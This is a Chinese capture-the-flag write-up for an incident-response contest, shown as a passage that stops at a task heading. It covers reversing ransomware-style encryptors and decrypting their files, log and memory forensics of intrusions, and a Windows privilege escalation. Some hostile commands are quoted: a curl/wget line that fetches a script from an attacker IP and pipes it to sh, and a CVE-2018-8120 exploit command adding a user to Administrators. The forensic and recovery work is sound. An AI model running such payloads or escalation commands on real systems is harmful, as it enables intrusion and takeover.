第二届Solar杯应急响应挑战赛WP

本文最后更新于 2025年12月31日 晚上

这次 AK 了也没能拿到奖,没拿到血分,师傅们太强了qwq

签到

公众号发送,get 传参

Traffic Analysi

在这个流量中,寻找重要的信息。

问题1:CVE编号是多少

例:CVE-xxxx-xxxxx

看流量包可以发现利用了 JWT 伪造上传 python 插件,符合这个 CVE

1
CVE-2025-55449

问题2:伪造用户名

例:root

1
2
3
4
{
"username": "admin",
"exp": 1765959596
}
1
admin

问题3:恶意文件名是什么

例:xxxx.xxx

1
helloworld.zip

问题4:运行路径在哪

例:/xxx

1
/AstrBot

问题5:flag的值

例:flag{xxxxx}

1
flag{80892e26-dbcc-49be-9f40-e14f772741d0}

问题6:JWT的key是多少

例:xxxxx

1
Advanced_System_for_Text

提交最终flag的格式如下:
flag{md5(问题1_问题2_问题3_问题4_问题5_问题6)}

1
CVE-2025-55449_admin_helloworld.zip_/AstrBot_flag{80892e26-dbcc-49be-9f40-e14f772741d0}_Advanced_System_for_Text

转 md5

1
flag{f585fb56a8f67ceffd494f5ae96a6dff}

easy_enc

可以装个杀毒软件拦截,因为运行之后会出现一个 enc.exe 程序

这个程序加壳了,脱壳丢进 ida 分析

这里在打开并读取 p.txt 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
v3 = fopen(p_txt, &wb_, envp);
v4 = v3;
if (!v3)
return 1;
fseek(v3, 0, 2);
v5 = ftell(v4);
fseek(v4, 0, 0);
v6 = j__malloc_base(v5 + 1);
v7 = v6;
if (!v6)
{
fclose(v4);
return 1;
}
*(fread(v6, 1, v5, v4) + v6) = 0;
fclose(v4);

p.txt 内容为

1
EBDB7ACC212CA6FB41F7080DDA15CDA3

调用 sub_140002330 函数处理文件并查找特定扩展名的文件

1
2
3
4
5
6
7
8
9
10
11
sub_140002330(
flag_txt, // "flag.txt"
Buf2);
GetTempPathA(0x104u, Buffer);
swprintf(FileName, 260, "%s*", Buffer);
FirstFileA = FindFirstFileA(FileName, &FindFileData);
if ( FirstFileA == -1LL )
{
j__free_base(v7);
return 1;
}

调用 sub_1400024F0 和 sub_1400019C0 进行处理,处理后的数据会写入到新的 .enc 文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
sub_140002330(FindFileData.cFileName, Buf1);
if ( !memcmp(Buf1, Buf2, 32) )
{
sub_1400024F0(v7, FindFileData.cFileName, v27, v24);
swprintf(FileName_1, 260, "%s%s", Buffer, FindFileData.cFileName);
swprintf(FileName_2, 260, "%s%s.enc", Buffer, FindFileData.cFileName);
v15 = fopen(FileName_1, &wb_, envp_1);
v17 = fopen(
FileName_2,
Mode, // "wb"
envp_2);
v18 = v17;
if ( v15 )
{
v19 = v15;
if ( v17 )
{
fseek(v15, 0, 2);
v20 = ftell(v15);
fseek(v15, 0, 0);
v21 = v20;
v22 = j__malloc_base(v20);
fread(v22, 1, v20, v15);
fclose(v15);
v23 = j__malloc_base(v20 + 16);
sub_1400019C0(v22, v21, v23, v27, v24, &ElementCount);
fwrite(v23, 1, ElementCount, v18);
fclose(v18);
j__free_base(v22);
j__free_base(v23);
continue;
}
}
}

sub_1400024F0 是密钥派生函数,这里有 md5 初始向量常量

1
2
3
4
5
.xvlk:000000014000256F 128 C7 44 24 20 01 23 45 67       mov     dword ptr [rsp+120h+var_108+8], 67452301h
.xvlk:0000000140002577 128 C7 44 24 24 89 AB CD EF mov dword ptr [rsp+120h+var_108+0Ch], 0EFCDAB89h
.xvlk:000000014000257F 128 48 8D 4D B7 lea rcx, [rbp+57h+Src]
.xvlk:0000000140002583 128 C7 44 24 28 FE DC BA 98 mov [rsp+120h+var_F8], 98BADCFEh
.xvlk:000000014000258B 128 C7 44 24 2C 76 54 32 10 mov [rsp+120h+var_F4], 10325476h

这里是用来参与 key 的派生,小端序 ASCII 转化后就是 “expand 32-byte kexpand 16-byte k”

1
2
3
4
5
6
7
8
.xvlk:0000000140002640 128 42 C7 04 28 65 78 70 61       mov     dword ptr [rax+r13], 61707865h
.xvlk:0000000140002648 128 42 C7 44 28 04 6E 64 20 33 mov dword ptr [rax+r13+4], 3320646Eh
.xvlk:0000000140002651 128 42 C7 44 28 08 32 2D 62 79 mov dword ptr [rax+r13+8], 79622D32h
.xvlk:000000014000265A 128 42 C7 44 28 0C 74 65 20 6B mov dword ptr [rax+r13+0Ch], 6B206574h
.xvlk:0000000140002663 128 42 C7 44 28 10 65 78 70 61 mov dword ptr [rax+r13+10h], 61707865h
.xvlk:000000014000266C 128 42 C7 44 28 14 6E 64 20 31 mov dword ptr [rax+r13+14h], 3120646Eh
.xvlk:0000000140002675 128 42 C7 44 28 18 36 2D 62 79 mov dword ptr [rax+r13+18h], 79622D36h
.xvlk:000000014000267E 128 42 C7 44 28 1C 74 65 20 6B mov dword ptr [rax+r13+1Ch], 6B206574h

解密逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib
import struct
from Crypto.Cipher import AES

def derive_key_iv(p_bytes, name):
hexh = hashlib.sha256(name).hexdigest().encode()
key = hashlib.sha256(hexh + p_bytes + b"expand 32-byte kexpand 16-byte k").digest()
md5_iv = struct.pack("<4I", 0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476)
iv = hashlib.sha256(p_bytes + hexh + md5_iv).digest()[:16]
return key, iv

p = open("p.txt", "rb").read().strip()
ct = open("flag.txt.enc", "rb").read()
key, iv = derive_key_iv(p, b"flag.txt")
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
pt = pt[:-pt[-1]]
print(pt.decode())
1
flag{4e24a252fbf8d47e0432cea729f2ad13077b5}

chal

sub_1400030E0 函数在扫描并加密文件,加载了如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  v22 = sub_1400023C0(aNtopenfile);
v24 = sub_1400023C0(aRtlinitunicode_1);
v21 = sub_1400023C0(aRtldospathname_0);
v17 = sub_1400023C0(aNtquerydirecto);
v23 = sub_1400023C0(aRtlallocatehea_0);
v16 = sub_1400023C0(aRtlfreeheap_0);
v11 = sub_1400023C0(aNtclose_0);

.data:000000014000D5D8 aNtopenfile db 'NtOpenFile',0 ; DATA XREF: sub_1400030E0+D↑o
.data:000000014000D5E3 align 8
.data:000000014000D5E8 aRtlinitunicode_1 db 'RtlInitUnicodeString',0
.data:000000014000D5E8 ; DATA XREF: sub_1400030E0+21↑o
.data:000000014000D5FD align 20h
.data:000000014000D600 aRtldospathname_0 db 'RtlDosPathNameToNtPathName_U_WithStatus',0
.data:000000014000D600 ; DATA XREF: sub_1400030E0+35↑o
.data:000000014000D628 aNtquerydirecto db 'NtQueryDirectoryFileEx',0
.data:000000014000D628 ; DATA XREF: sub_1400030E0+49↑o
.data:000000014000D63F align 20h
.data:000000014000D640 aRtlallocatehea_0 db 'RtlAllocateHeap',0
.data:000000014000D640 ; DATA XREF: sub_1400030E0+5D↑o
.data:000000014000D650 aRtlfreeheap_0 db 'RtlFreeHeap',0 ; DATA XREF: sub_1400030E0+71↑o
.data:000000014000D65C align 20h
.data:000000014000D660 aNtclose_0 db 'NtClose',0 ; DATA XREF: sub_1400030E0+85↑o

sub_140006260 在生成 AES 密钥,sub_1400027A0 在对文件进行加密,只加密 .solar 后缀的文件,文件名加上 .locked

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
LOWORD(a2) = 46;
v4 = sub_1400012B0(a1, a2);
if ( sub_140001360(v4, aSolar, 6) )
return 0;
v33 = sub_1400023C0(aNtreadfile_0);
v26 = sub_1400023C0(aNtwritefile_0);
v29 = sub_1400023C0(aRtldospathname);
v13 = sub_1400023C0(aNtclose);
v30 = sub_1400023C0(aRtlallocatehea);
v18 = sub_1400023C0(aRtlfreeheap);
v31 = sub_1400023C0(aNtqueryinforma);
if ( v29(a1, &v36, 0, 0) < 0 )
return 0;
memset(v47, 0, 0x20Au);
sub_140001050(v47, v37, v36);
v14 = sub_1400023F0(v47, 1);
if ( v14 == -1 )
return 0;
memset(v48, 0, 0x20Au);
sub_140001150(v48, v47);
sub_140001270(v48, aLocked);

off_14000D220 这里找到 PUBKEY

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.data:000000014000D250 aPubkeyX9bqxsfh db 'PUBKEY(x9BqxsfHx8fH8ITNjeLxsfhdJuAF9rcTANS3sBybPV2g6KJndIeJhAVjq7'
.data:000000014000D250 ; DATA XREF: .data:off_14000D220↑o
.data:000000014000D291 db 'vjbolzvXaKXqb46v+oAcw5m9mZ5bruu/wJtbeNqQ==)',0
.data:000000014000D2BD align 20h
.data:000000014000D2C0 aPubkeyWrilwmhb db 'PUBKEY(wRiLwMHBwcHBWL3vc6UmwwavXoxp4X+uH8RAeWUgWC8/JS/m3FiIOCSaNs'
.data:000000014000D2C0 ; DATA XREF: .data:000000014000D228↑o
.data:000000014000D301 db 'AnKQJPwCL5/rA8MyuRqdX1cxIZGnPzad9KlwEOiw==)',0
.data:000000014000D32D align 10h
.data:000000014000D330 aPubkey01t30tpt db 'PUBKEY(01T30tPT09PT7mfNwZfY9GDhNUBA2yz9uJTw2WPnH8CXIjmlwFfwhtWrgX'
.data:000000014000D330 ; DATA XREF: .data:000000014000D230↑o
.data:000000014000D371 db '0qnS2anIXOKskciqmkUj8lO8TZaq+YT1Nu1SDGUg==)',0
.data:000000014000D39D align 20h
.data:000000014000D3A0 aPubkey30rt3tF3 db 'PUBKEY(30RT3t/f39/flhsu7JRACZh83RDcbk/kX+xjgeQTv3DdncPxaCO+Y5I+Gs'
.data:000000014000D3A0 ; DATA XREF: .data:000000014000D238↑o
.data:000000014000D3E1 db 'Vy3VS8nXX01QgLZCfEJsz9KZMRxNW7H0RQbDoWTw==)',0
.data:000000014000D40D align 10h
.data:000000014000D410 aPubkey4z1Vv7V7 db 'PUBKEY(+4z1+vv7+/v7YofVSZ8c+TyVZLZT20WUJf56Q18aYhUFHxXc5mKyAh6gDP'
.data:000000014000D410 ; DATA XREF: .data:000000014000D240↑o
.data:000000014000D451 db 'odEzh1+hjDxIoGCRGrk+/PSSgjIEnJU+VwrTs0sQ==)',0

sub_14000B335 在进行密钥拓展,unk_14000D000 就是魔改的 S 盒

1
05, 1A, 11, 1D, 94, 0D, 09, A3, 56, 67, 01, 4D, 98, B1, CD, 10, AC, E4, AF, 1B, 9C, 3F, 21, 96, CB, B2, C4, C9, FA, C2, 14, A6, D1, 9B, F5, 40, 50, 59, 91, AA, 52, C3, 83, 97, 17, BE, 57, 73, 62, A1, 45, A5, 7E, F0, 63, FC, 61, 74, E6, 84, 8D, 41, D4, 13, 6F, E5, 4A, 7C, 7D, 08, 3C, C6, 34, 5D, B0, D5, 4F, 85, 49, E2, 35, B7, 66, 8B, 46, 9A, D7, 3D, 0C, AD, D8, 5F, 2C, 2A, 3E, A9, B6, 89, CC, 9D, 25, 2B, 55, E3, 23, 9F, 64, 19, 36, 5A, F9, CE, 37, C5, 26, E9, F4, FB, 5E, 93, DA, D0, BC, 47, 76, 99, 95, B4, AB, 6A, 75, 8A, 39, F1, 22, 71, A2, C1, 18, 5B, 02, 3B, 7F, 15, 06, E7, 29, BA, 44, 4C, F6, EE, 20, 88, DE, 72, B8, 38, 6D, BD, 86, 54, 5C, 6C, 2F, 60, 42, 3A, A4, B5, CA, 04, F7, F3, 82, 1F, 81, AE, 51, 0B, EB, B3, 28, CF, 0A, 30, 92, 8C, 03, 1C, C8, 6E, DC, 1E, 43, 48, 7A, C0, D2, A0, 8E, BB, 12, 79, 2D, DB, ED, EC, 16, 58, D3, 00, 2E, 65, 90, 68, 07, 53, 31, DF, E0, A7, 7B, F8, 87, 9E, FE, 77, 0F, BF, E8, F2, FD, 78, E1, 8F, A8, 33, 4E, B9, EA, C7, EF, 6B, D9, 80, 24, 0E, 27, FF, 4B, 69, D6, 32, DD, 70

v6 = sub_140001100(a1) :获取字符串长度。

sub_1400013E0(a1, “PUBKEY(“, 7) 检查前缀是否为 “PUBKEY(“,同时验证末尾字符是否是 ‘)’

sub_140002120(a1+7, v6-8, v8, &v7):对 PUBKEY( 与尾部 ) 之间的内容做 base64 解码,输出到 v8,并把解码后的长度写入 v7。

当长度为 73 时:v4 = v8[0] 作为掩码字节,对后续 72 字节逐字节 ^= v4 解掩码,sub_140001050(a2, &v8[9], 64) 把后 64 字节写入输出模数缓冲 a2

8 字节小端指数(写入 *a3),64 字节模数(写入 a2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall sub_140002260(__int64 a1, __int64 a2, _QWORD *a3)
{
char v4; // [rsp+20h] [rbp-118h]
int i; // [rsp+24h] [rbp-114h]
int v6; // [rsp+28h] [rbp-110h]
int v7; // [rsp+2Ch] [rbp-10Ch] BYREF
_BYTE v8[264]; // [rsp+30h] [rbp-108h] BYREF

v6 = sub_140001100(a1);
if ( (unsigned __int8)sub_1400013E0(a1, aPubkey, 7) || *(_BYTE *)(a1 + (unsigned int)(v6 - 1)) != 41 )
return 0;
memset(v8, 0, 0x100u);
v7 = 0;
sub_140002120(a1 + 7, (unsigned int)(v6 - 8), v8, &v7);
if ( v7 == 73 )
{
v4 = v8[0];
for ( i = 0; i < 72; ++i )
v8[i + 1] ^= v4;
*a3 = *(_QWORD *)&v8[1];
sub_140001050(a2, &v8[9], 64);
return 1;
}
else
{
*a3 = 0;
return 0;
}
}

这里生成 mask,并且对他异或

1
2
3
4
5
6
7
8
9
10
11
12
13
memset(v41, 0, sizeof(v41));
v41[0] = v7;
*&v41[1] = v25;
sub_140001050(&v41[9], v45, 64);
memset(v38, 0, sizeof(v38));
sub_140006260(v38);
for ( n = 0; n < 0x48; ++n )
{
v34 = n;
v41[n + 1] ^= v38[n % 0x20];
}
sub_140001050(&v41[73], v38, 32);
sub_1400011E0(&v41[105], aLocked_0);

5个公钥中有两个(索引1和4)共用同一个模数 N,且 gcd(e1, e4) = 1,可以通过共模攻击恢复 32 字节的 seed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
import os
import hashlib
import base64
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long

FILE_COUNT = 57
LOCKED_DIR = ".\\enced_files"
TAIL_SIZE = 0x6f

RSA_PUBKEYS = [
"x9BqxsfHx8fH8ITNjeLxsfhdJuAF9rcTANS3sBybPV2g6KJndIeJhAVjq7vjbolzvXaKXqb46v+oAcw5m9mZ5bruu/wJtbeNqQ==",
"wRiLwMHBwcHBWL3vc6UmwwavXoxp4X+uH8RAeWUgWC8/JS/m3FiIOCSaNsAnKQJPwCL5/rA8MyuRqdX1cxIZGnPzad9KlwEOiw==",
"01T30tPT09PT7mfNwZfY9GDhNUBA2yz9uJTw2WPnH8CXIjmlwFfwhtWrgX0qnS2anIXOKskciqmkUj8lO8TZaq+YT1Nu1SDGUg==",
"30RT3t/f39/flhsu7JRACZh83RDcbk/kX+xjgeQTv3DdncPxaCO+Y5I+GsVy3VS8nXX01QgLZCfEJsz9KZMRxNW7H0RQbDoWTw==",
"+4z1+vv7+/v7YofVSZ8c+TyVZLZT20WUJf56Q18aYhUFHxXc5mKyAh6gDPodEzh1+hjDxIoGCRGrk+/PSSgjIEnJU+VwrTs0sQ=="
]

SBOX = bytes([
0x05,0x1A,0x11,0x1D,0x94,0x0D,0x09,0xA3,0x56,0x67,0x01,0x4D,0x98,0xB1,0xCD,0x10,
0xAC,0xE4,0xAF,0x1B,0x9C,0x3F,0x21,0x96,0xCB,0xB2,0xC4,0xC9,0xFA,0xC2,0x14,0xA6,
0xD1,0x9B,0xF5,0x40,0x50,0x59,0x91,0xAA,0x52,0xC3,0x83,0x97,0x17,0xBE,0x57,0x73,
0x62,0xA1,0x45,0xA5,0x7E,0xF0,0x63,0xFC,0x61,0x74,0xE6,0x84,0x8D,0x41,0xD4,0x13,
0x6F,0xE5,0x4A,0x7C,0x7D,0x08,0x3C,0xC6,0x34,0x5D,0xB0,0xD5,0x4F,0x85,0x49,0xE2,
0x35,0xB7,0x66,0x8B,0x46,0x9A,0xD7,0x3D,0x0C,0xAD,0xD8,0x5F,0x2C,0x2A,0x3E,0xA9,
0xB6,0x89,0xCC,0x9D,0x25,0x2B,0x55,0xE3,0x23,0x9F,0x64,0x19,0x36,0x5A,0xF9,0xCE,
0x37,0xC5,0x26,0xE9,0xF4,0xFB,0x5E,0x93,0xDA,0xD0,0xBC,0x47,0x76,0x99,0x95,0xB4,
0xAB,0x6A,0x75,0x8A,0x39,0xF1,0x22,0x71,0xA2,0xC1,0x18,0x5B,0x02,0x3B,0x7F,0x15,
0x06,0xE7,0x29,0xBA,0x44,0x4C,0xF6,0xEE,0x20,0x88,0xDE,0x72,0xB8,0x38,0x6D,0xBD,
0x86,0x54,0x5C,0x6C,0x2F,0x60,0x42,0x3A,0xA4,0xB5,0xCA,0x04,0xF7,0xF3,0x82,0x1F,
0x81,0xAE,0x51,0x0B,0xEB,0xB3,0x28,0xCF,0x0A,0x30,0x92,0x8C,0x03,0x1C,0xC8,0x6E,
0xDC,0x1E,0x43,0x48,0x7A,0xC0,0xD2,0xA0,0x8E,0xBB,0x12,0x79,0x2D,0xDB,0xED,0xEC,
0x16,0x58,0xD3,0x00,0x2E,0x65,0x90,0x68,0x07,0x53,0x31,0xDF,0xE0,0xA7,0x7B,0xF8,
0x87,0x9E,0xFE,0x77,0x0F,0xBF,0xE8,0xF2,0xFD,0x78,0xE1,0x8F,0xA8,0x33,0x4E,0xB9,
0xEA,0xC7,0xEF,0x6B,0xD9,0x80,0x24,0x0E,0x27,0xFF,0x4B,0x69,0xD6,0x32,0xDD,0x70
])

INV_SBOX = bytes([SBOX.index(i) for i in range(256)])

def scan_locked_files():
groups = {0: [], 1: [], 2: [], 3: [], 4: []}

for idx in range(FILE_COUNT):
filepath = f"{LOCKED_DIR}\\file_{idx}.solar.locked"
with open(filepath, "rb") as f:
data = f.read()
key_index = data[-TAIL_SIZE]
if key_index in groups:
groups[key_index].append((idx, data))

return groups

def parse_tail_metadata(raw_data):
tail = raw_data[-TAIL_SIZE:]

xor_key = tail[-0x26:-0x6]
encrypted_meta = bytearray(tail[1:-6])

for i in range(len(encrypted_meta)):
encrypted_meta[i] ^= xor_key[i % 32]

original_size = bytes_to_long(encrypted_meta[:8][::-1])
rsa_ciphertext = bytes_to_long(encrypted_meta[8:-0x20][::-1])

return original_size, rsa_ciphertext

def decode_pubkey(b64_str):
raw = bytearray(base64.b64decode(b64_str))
mask = raw[0]

for i in range(1, len(raw)):
raw[i] ^= mask

e = bytes_to_long(bytes(raw[1:9])[::-1])
n = bytes_to_long(bytes(raw[9:])[::-1])

return e, n


def common_modulus_attack(c1, c2, e1, e2, n):
gcd, s1, s2 = gmpy2.gcdext(e1, e2)

if gcd != 1:
raise ValueError("共模攻击失败")
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n

return m


def expand_aes_key(seed):
expanded = b""
current = seed

for _ in range(11):
digest = hashlib.sha256(current).digest()
chunk = bytes([digest[i*2] ^ digest[i*2+1] for i in range(16)])
expanded += chunk
current = digest

return list(expanded)


class ModifiedAES:
def __init__(self, round_keys):
self.rk = []
for i in range(0, 176, 16):
matrix = [[round_keys[i + r*4 + c] for c in range(4)] for r in range(4)]
self.rk.append(matrix)

def decrypt_cbc(self, ciphertext, iv):
plaintext = b""
prev_block = bytes(iv)

for offset in range(0, len(ciphertext), 16):
block = ciphertext[offset:offset+16]
decrypted = self._decrypt_block(block)
plaintext += bytes([decrypted[i] ^ prev_block[i] for i in range(16)])
prev_block = block

return plaintext

def _decrypt_block(self, block):
state = [[block[r*4+c] for c in range(4)] for r in range(4)]
self._add_round_key(state, self.rk[10])
self._inv_shift_rows(state)
self._inv_sub_bytes(state)

for round_num in range(9, 0, -1):
self._add_round_key(state, self.rk[round_num])
self._inv_mix_columns(state)
self._inv_shift_rows(state)
self._inv_sub_bytes(state)
self._add_round_key(state, self.rk[0])

return bytes([state[r][c] for r in range(4) for c in range(4)])

def _add_round_key(self, state, key):
for r in range(4):
for c in range(4):
state[r][c] ^= key[r][c]

def _inv_sub_bytes(self, state):
for r in range(4):
for c in range(4):
state[r][c] = INV_SBOX[state[r][c]]

def _inv_shift_rows(self, state):
state[0][1], state[1][1], state[2][1], state[3][1] = \
state[3][1], state[0][1], state[1][1], state[2][1]
state[0][2], state[1][2], state[2][2], state[3][2] = \
state[2][2], state[3][2], state[0][2], state[1][2]
state[0][3], state[1][3], state[2][3], state[3][3] = \
state[1][3], state[2][3], state[3][3], state[0][3]

def _inv_mix_columns(self, state):
for r in range(4):
u = self._xtime(self._xtime(state[r][0] ^ state[r][2]))
v = self._xtime(self._xtime(state[r][1] ^ state[r][3]))
state[r][0] ^= u
state[r][1] ^= v
state[r][2] ^= u
state[r][3] ^= v
for r in range(4):
t = state[r][0] ^ state[r][1] ^ state[r][2] ^ state[r][3]
u = state[r][0]
state[r][0] ^= t ^ self._xtime(state[r][0] ^ state[r][1])
state[r][1] ^= t ^ self._xtime(state[r][1] ^ state[r][2])
state[r][2] ^= t ^ self._xtime(state[r][2] ^ state[r][3])
state[r][3] ^= t ^ self._xtime(state[r][3] ^ u)

@staticmethod
def _xtime(a):
return ((a << 1) ^ 0x1B) & 0xFF if a & 0x80 else a << 1

def decrypt_all_files(aes_cipher, iv):
for idx in range(FILE_COUNT):
src_path = f"{LOCKED_DIR}\\file_{idx}.solar.locked"
dst_path = f"{LOCKED_DIR}\\file_{idx}.solar"

with open(src_path, "rb") as f:
raw = f.read()
encrypted_content = raw[:-TAIL_SIZE]
original_size, _ = parse_tail_metadata(raw)
decrypted = aes_cipher.decrypt_cbc(encrypted_content, iv)
with open(dst_path, "wb") as f:
f.write(decrypted[:original_size])
os.remove(src_path)

print(f"[+] 解密完成: file_{idx}.solar ({original_size} bytes)")

def main():
groups = scan_locked_files()
print(f" 公钥1加密的文件数: {len(groups[1])}")
print(f" 公钥4加密的文件数: {len(groups[4])}")
_, data1 = groups[1][0]
_, data4 = groups[4][0]
_, c1 = parse_tail_metadata(data1)
_, c2 = parse_tail_metadata(data4)
print(f" 密文c1: {hex(c1)[:40]}...")
print(f" 密文c2: {hex(c2)[:40]}...")
e1, n1 = decode_pubkey(RSA_PUBKEYS[1])
e2, n2 = decode_pubkey(RSA_PUBKEYS[4])
print(f" e1 = {e1}")
print(f" e2 = {e2}")
print(f" n1 == n2: {n1 == n2}")
aes_key_int = common_modulus_attack(c1, c2, e1, e2, n1)
aes_key = long_to_bytes(aes_key_int)[::-1]
print(f" 恢复的AES密钥: {aes_key.hex()}")
iv = list(aes_key[:16])
round_keys = expand_aes_key(aes_key)
print(f" IV: {bytes(iv).hex()}")
print(f" 轮密钥长度: {len(round_keys)} bytes")
cipher = ModifiedAES(round_keys)
decrypt_all_files(cipher, iv)

print("\n" + "=" * 50)
print("解密完成!")
print("=" * 50)


main()

1
flag{s1Md_4nD_C0MmOn_m0Du1u5_Cr4Ck3d@solarsec_final_2025}

日志排查

任务1

1
2
3
4
5
6
7
任务名称:任务1

任务分数:100.00

任务类型:静态Flag

在攻击真正发生之前,防火墙记录到了针对 SQL Server 的暴力破解行为。请找出发起暴力破解(大量登录失败)的 IP 地址。(按时间顺序用_连接,FLAG格式为:flag{ip_ip}

查看 Application 事件文件,发现有大量的 MSSQLSERVER 日志,查看就能发现这两个一直在爆破登录

1
flag{192.168.146.135_192.168.146.161}

任务2

1
2
3
4
5
任务分数:100.00

任务类型:静态Flag

请分析 MSSQL 日志文件,找到攻击者 IP 192.168.146.135 在结束暴力破解后,首次成功使用“SQL Server 身份验证”建立连接的时间。FLAG格式为:flag{2025/12/17 11:01:00}

攻击者 IP 192.168.146.135 结束暴破后,首次成功使用 SQL Server 身份验证连接时间

1
flag{2025/12/17 11:17:26}

任务3

1
2
3
4
5
6
7
任务名称:任务3

任务分数:100.00

任务类型:静态Flag

经分析,攻击者登陆数据库后进行了关键配置更改以启用命令执行功能。 请还原攻击者在该时间点内的完整配置修改链(按日志记录顺序)。FLAG格式为:flag{配置名1_配置名2}

1
flag{show advanced options_xp_cmdshell}

任务4

1
2
3
4
5
6
7
任务名称:任务4

任务分数:100.00

任务类型:静态Flag

攻击者在执行复杂的命令前,先写入了一个测试文件以验证写入权限。请提供该测试文件的完整绝对路径。FLAG格式为:flag{C:\ABC\def.txt}

翻日志

1
flag{C:\Windows\Temp\test.txt}

任务5

1
2
3
4
5
6
7
任务名称:任务5

任务分数:100.00

任务类型:静态Flag

攻击者觉得通过数据库执行命令太麻烦,于是创建了一个系统后门用户 123。该后门用户的明文密码是什么?

Security 事件文件筛选 ID 4688,搜索 net user

1
flag{33arsierting}

任务6

1
2
3
4
5
6
7
任务名称:任务6

任务分数:100.00

任务类型:静态Flag

在创建完后门用户后,攻击者使用远程桌面 (RDP) 登录了服务器。请找出用户 123 首次 RDP 登录成功的精确时间。flag格式为:flag{2025/01/01 15:00:00}

RDP 登录直接筛选 ID 4624 搜 Logon Type: 10

1
flag{2025/12/17 15:06:03}

任务7

1
2
3
4
5
6
7
任务名称:任务7

任务分数:100.00

任务类型:静态Flag

攻击者为了确保服务器重启后仍能控制机器,在系统中留下了三个持久化后门。 请找到这三处隐藏的字符串,并按以下顺序拼接:flag{flag1flag2flag3}

可以直接搜索 flag

flag1:注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 中值 flag1 的内容包含:{krjl424

flag2:计划任务 \flag2 的 Actions 中包含:wq3453dalb

flag3:服务 flag3 的 Description 中包含:zlmqu458xktq}

1
flag{krjl424wq3453dalbzlmqu458xktq}

Solar内存取证

vol3 进行 linux.pagecache.RecoverFs

任务1

1
2
3
4
5
6
7
任务名称:攻击者使用什么漏洞入侵了服务器

任务分数:150.00

任务类型:静态Flag

注意:flag格式flag{CVE-2025-12345}

opt 目录下有 activemq,有 jetty 服务

1
flag{CVE-2023-46604}

任务2

1
2
3
4
5
6
7
8
9
任务名称:攻击者的服务器IP

任务分数:150.00

任务类型:静态Flag

注意:flag格式flag{123.123.123.123}

opt/activemq 下的 data 目录中有日志,找最多出现的排序

搜索数字字符串进行统计排序找连接最多的 IP

1
grep -oP '\b\d{1,3}(\.\d{1,3}){3}\b' activemq.log | uniq -c | sort

1
flag{199.68.217.92}

任务3

1
2
3
4
任务名称:攻击者执行的载荷命令
任务分数:150.00
任务类型:静态Flag
flag不包含空格,以flag{}包裹

010 直接搜 IP

1
flag{(curl-fsSL-m180http://199.68.217.92:61231/slt||wget-T180-q http://199.68.217.92:61231/slt)|sh}

任务4

1
2
3
4
5
6
7
任务名称:攻击者进行权限维持可疑的服务路径

任务分数:150.00

任务类型:静态Flag

flag格式flag{/tmp/123}

etc/systemd/system/dhclient.service 服务加载了 /usr/bin/7671fe9ftcp 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[Unit]
Description=dhclient
ConditionFileIsExecutable=/usr/bin/7671fe9ftcp


[Service]
StartLimitInterval=5
StartLimitBurst=10
ExecStart=/usr/bin/7671fe9ftcp







Restart=always

RestartSec=120
EnvironmentFile=-/etc/sysconfig/dhclient

[Install]
WantedBy=multi-user.target

打开发现与攻击 IP 有关

1
flag{/etc/systemd/system/dhclient.service}

任务5

1
2
3
4
5
6
7
任务名称:攻击者创建了拥有root权限的账户

任务分数:150.00

任务类型:静态Flag

flag格式flag{ubuntu}

查看 passwd 文件

1
flag{ubunto}

你能拿到权限我就给你FLAG

1
我有一台Windows Server的电脑,我的用户名叫Lab,我的密码是Lab2025..,我的C盘下有一个flag文件夹里面放着flag.txt,但是我好像读取不了。你如果能读取到这个FLAG,那这个FLAG就归你啦!

systeminfo 看版本找历史漏洞,CVE-2018-8120,上传提权程序,把 Lab 添加到管理组

1
CVE-2018-8120.exe "net localgroup Administrators Lab /add"

修改 flag 文件权限,在组里面添加 Lab 用户

1
flag{af8dbd72dfae83f5563a7f8b8e77151c}

仿真DMZ环境应急响应

任务1

1
2
3
4
任务名称:排查漏洞
任务分数:80.00
任务类型:静态Flag
根据开放服务排查审计日志,提交攻击者利用漏洞传入webshell的url,提交示例:flag{/flag/abc/kk=abc}

根据下面的木马目录名字 20251224 查看 u_ex251224.log 日志,后面一直在上 aspx 的马,那么 url 就是这个

1
flag{/plugins/Ueditor/net/controller.ashx action=catchimage}

任务2

1
2
3
4
任务名称:Windows defender专项
任务分数:80.00
任务类型:静态Flag
提交Windows defender病毒和威胁防护中,拦截攻击者最早执行的命令,提交示例:flag{dir}

看 Defender 记录,最早的一个

1
flag{whoami}

任务3

1
2
3
4
任务名称:Windows defender专项
任务分数:80.00
任务类型:静态Flag
提交Windows defender病毒和威胁防护中,杀软隔离的第一个webshell文件,提交文件名,提交示例:flag{shell.php}

1
flag{6390217215502412559088650.aspx}

任务4

1
2
3
4
5
6
